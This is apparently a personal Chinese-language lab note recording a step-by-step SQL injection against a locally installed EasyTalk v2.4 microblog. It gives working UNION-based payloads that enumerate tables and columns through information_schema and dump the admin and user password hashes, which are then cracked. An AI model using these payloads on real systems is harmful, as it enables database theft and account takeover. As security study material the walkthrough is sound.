声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
环境:
EasyTalk v2.4(微博客),FireFox
一、环境搭建
1. 使用phpstudy(v2016)搭建环境,下载EasyTalk(v2.4)的压缩包,部署安装即可。
2. 安装完成,我们注册一个账户。用户:hack,密码:pH@{|<
登陆后,发布一条广播。
二、SQL注入
在[ 广场->微话题 ]中存在注入漏洞。
1. 找到注入点
点击发送广播,再使用HackBar的Load URL加请求参数加载下来。
使用id=1',发现页面显示不正常。
根据id=1" or 1 --+报错 和 id=1' or --+没有报错可以判断是字符串注入(单引号闭合)。
select columns... from table_name where '$keyword'
根据id=1' and 0 --+ 和id=1' or 1 --+可以判断我们的语句被执行,且没错误。
2. 判断查询的字段数
使用order by判断,出现【关注人数】为语句正确,没出现为语句可能错误。
keyword=1' or 1 order by 3 --+
判断返回的字段数为5。
3. 判断回显的位置
keyword=1' and 0 union select 11,22,33,44,55 --+
得到回显的位置为4。
4.获取当前的用户名,数据库
keyword=1' and 0 union select 11,22,33,user(),55--+
keyword=1' and 0 union select 11,22,33,database(),55--+
可以得到当前的用户为root,当前的数据库为easytalk。root用户可以查看系统数据库。
5. 获取easytalk数据库的表名
keyword=1' and 0
union select 11,22,33,group_concat(table_name),55
from information_schema.tables
where table_schema=database() --+
查询easytalk数据库中表的数量。为41条。
发现我们查询的表缺少部分,被截断了。
是因为字符串长度超出了@@global.group_concat_max_len的大小。
我们计算出应从30开始(从0开始,41-31=30),显示10条记录。
由于group_concat的使用,limit无效。我们将limit放到子查询中。
keyword=1' and 0
union select 11,22,33,group_concat(table_name),55
from
(select table_name from information_schema.tables
where table_schema=database() limit 30,10)x --+
我得到需要的表:et_users
6. 获取的et_users表字段名
keyword=1' and 0 union select 11,22,33,group_concat(column_name),55
from information_schema.columns
where table_schema=database() and table_name='et_users' --+
得到字段名user_name,password。
7. 获取系统管理员密码
keyword=1' and 0
union select 11,22,33,group_concat(concat_ws(':', user_name, password)),55
from easytalk.et_users --+
得到用户名和密码:
admin:14e1b600b1fd579f47433b88e8d85291
hack:60abb261810d6ec94b8eb3ab85c4ec42
8. 密码破解
由于密码设的简单,使用cmd5直接可以破解。